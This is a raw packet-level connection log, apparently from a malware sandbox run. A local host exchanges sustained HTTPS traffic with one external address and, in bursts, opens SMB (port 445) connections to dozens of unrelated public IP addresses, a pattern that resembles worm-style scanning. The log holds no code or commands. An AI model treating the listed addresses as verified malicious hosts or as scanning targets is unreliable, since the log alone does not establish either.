Jul 20, 2022 19:09:02.418629885 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.418962955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.419059038 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.422544003 CEST	53516	445	192.168.2.7	158.215.121.91
Jul 20, 2022 19:09:02.422548056 CEST	53515	445	192.168.2.7	81.29.219.70
Jul 20, 2022 19:09:02.423955917 CEST	53517	445	192.168.2.7	73.158.228.141
Jul 20, 2022 19:09:02.430258036 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.430386066 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.431910038 CEST	53457	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.431946039 CEST	443	53457	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.433435917 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.433486938 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.433615923 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.433633089 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.433657885 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.433686972 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.433986902 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.434034109 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.434086084 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.434093952 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.434129953 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.434151888 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.434181929 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.434513092 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.435525894 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.435586929 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.435720921 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.435730934 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.435739040 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.435776949 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.436445951 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.436557055 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.436570883 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.436597109 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.436672926 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.436686039 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.437685966 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.437823057 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.439013004 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.439085007 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.439151049 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.439162016 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.439193964 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.439223051 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.440725088 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.440783024 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.440845013 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.440855980 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.440896988 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.440921068 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.441565037 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.441674948 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.449826002 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.449889898 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.449970007 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.449985981 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.450038910 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.450068951 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.451128006 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.451188087 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.451263905 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.451273918 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.451314926 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.451335907 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.451894045 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.451997995 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.452801943 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.452858925 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.452897072 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.452912092 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.452928066 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.452953100 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.454391003 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.454435110 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.454478025 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.454489946 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.454523087 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.454530954 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.454648018 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.454657078 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.454698086 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.455959082 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.456012011 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.456094980 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.456115007 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.456146002 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.456171036 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.457195997 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.457240105 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.457298994 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.457313061 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.457333088 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.457371950 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.457382917 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.457410097 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.457422018 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.458295107 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.458338976 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.458425045 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.458437920 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.458482027 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.458518982 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.459211111 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.459255934 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.459301949 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.459316015 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.459345102 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.459382057 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.460115910 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.460227966 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.461087942 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.461127043 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.461204052 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.461220026 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.461231947 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.462038994 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.462080002 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.462125063 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.462142944 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.462168932 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.462203979 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.462205887 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.462228060 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.462268114 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.462287903 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.463289976 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.463345051 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.463391066 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.463407040 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.463442087 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.463474989 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.464271069 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.464337111 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.464514971 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.464555025 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.464986086 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.465029955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.465126991 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.465821981 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.465876102 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.465954065 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.465977907 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.465998888 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.466036081 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.466943979 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.466995001 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.467046022 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.467067957 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.467153072 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.467153072 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.467226028 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.474430084 CEST	53519	445	192.168.2.7	46.23.100.222
Jul 20, 2022 19:09:02.501143932 CEST	445	53519	46.23.100.222	192.168.2.7
Jul 20, 2022 19:09:02.544152021 CEST	53523	445	192.168.2.7	161.228.88.90
Jul 20, 2022 19:09:02.544157982 CEST	53524	445	192.168.2.7	201.78.6.215
Jul 20, 2022 19:09:02.544233084 CEST	53525	445	192.168.2.7	171.76.138.6
Jul 20, 2022 19:09:02.544249058 CEST	53526	445	192.168.2.7	154.3.103.241
Jul 20, 2022 19:09:02.544339895 CEST	53527	445	192.168.2.7	206.73.37.111
Jul 20, 2022 19:09:02.544374943 CEST	53528	445	192.168.2.7	86.183.106.47
Jul 20, 2022 19:09:02.544493914 CEST	53529	445	192.168.2.7	135.29.160.35
Jul 20, 2022 19:09:02.544496059 CEST	53530	445	192.168.2.7	128.216.102.152
Jul 20, 2022 19:09:02.544621944 CEST	53532	445	192.168.2.7	25.110.192.134
Jul 20, 2022 19:09:02.544722080 CEST	53534	445	192.168.2.7	117.76.143.229
Jul 20, 2022 19:09:02.544744015 CEST	53535	445	192.168.2.7	2.118.119.57
Jul 20, 2022 19:09:02.544784069 CEST	53533	445	192.168.2.7	89.123.217.86
Jul 20, 2022 19:09:02.544944048 CEST	53541	445	192.168.2.7	128.189.51.201
Jul 20, 2022 19:09:02.544972897 CEST	53540	445	192.168.2.7	209.70.133.174
Jul 20, 2022 19:09:02.545068026 CEST	53542	445	192.168.2.7	140.111.231.6
Jul 20, 2022 19:09:02.545119047 CEST	53544	445	192.168.2.7	214.127.94.3
Jul 20, 2022 19:09:02.548518896 CEST	53545	445	192.168.2.7	19.80.137.251
Jul 20, 2022 19:09:02.570266962 CEST	53554	445	192.168.2.7	73.107.77.190
Jul 20, 2022 19:09:02.601914883 CEST	53558	445	192.168.2.7	3.74.71.44
Jul 20, 2022 19:09:02.601964951 CEST	53559	445	192.168.2.7	97.124.114.174
Jul 20, 2022 19:09:02.602035046 CEST	53561	445	192.168.2.7	117.137.25.247
Jul 20, 2022 19:09:02.602044106 CEST	53560	445	192.168.2.7	147.56.167.48
Jul 20, 2022 19:09:02.602149010 CEST	53562	445	192.168.2.7	34.137.74.124
Jul 20, 2022 19:09:02.602221966 CEST	53564	445	192.168.2.7	44.188.4.159
Jul 20, 2022 19:09:02.602317095 CEST	53566	445	192.168.2.7	107.65.232.244
Jul 20, 2022 19:09:02.602390051 CEST	53569	445	192.168.2.7	120.151.104.123
Jul 20, 2022 19:09:02.672513962 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.672610998 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:02.880501032 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:02.880641937 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.112237930 CEST	53519	445	192.168.2.7	46.23.100.222
Jul 20, 2022 19:09:03.139772892 CEST	445	53519	46.23.100.222	192.168.2.7
Jul 20, 2022 19:09:03.147279978 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147303104 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147319078 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147399902 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147408962 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147420883 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147517920 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147524118 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147537947 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147552967 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147658110 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147675037 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147732973 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147778034 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147783995 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147805929 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147831917 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147851944 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147897005 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147905111 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147924900 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147953033 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.147963047 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.147993088 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148015022 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148061037 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148062944 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148077965 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148101091 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148133039 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148153067 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148175955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148216009 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148226023 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148252964 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148272991 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148298979 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148322105 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148360014 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148464918 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148523092 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148602962 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148611069 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148715973 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148788929 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148796082 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148807049 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148818016 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.148982048 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.148988962 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149000883 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149044037 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149074078 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149089098 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149168968 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149178982 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149215937 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149240971 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149275064 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149302006 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149307013 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149349928 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149383068 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149393082 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149399996 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149418116 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149462938 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149466991 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149475098 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149477959 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149493933 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149503946 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149537086 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149542093 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149576902 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149584055 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149617910 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149640083 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149658918 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149684906 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149688959 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149702072 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149722099 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149746895 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149751902 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149791002 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149792910 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149813890 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149816990 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149830103 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149873972 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149902105 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149914980 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149919033 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.149950027 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149980068 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.149993896 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150016069 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150043011 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150049925 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150088072 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150100946 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150105953 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150125027 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150147915 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150151968 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150212049 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150217056 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150243044 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150249958 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150253057 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150270939 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150271893 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150283098 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150295019 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150337934 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150341988 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150352955 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150374889 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150394917 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150399923 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150424957 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150449038 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150459051 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150463104 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150466919 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150509119 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150523901 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150540113 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150547028 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150557995 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150576115 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150589943 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150624990 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150629044 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150639057 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150664091 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150717020 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150751114 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150770903 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150775909 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150810003 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150834084 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150852919 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150856018 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150878906 CEST	443	53510	80.67.82.211	192.168.2.7
Jul 20, 2022 19:09:03.150888920 CEST	53510	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:09:03.150923967 CEST	53510	443	192.168.2.7	80.67.82.211
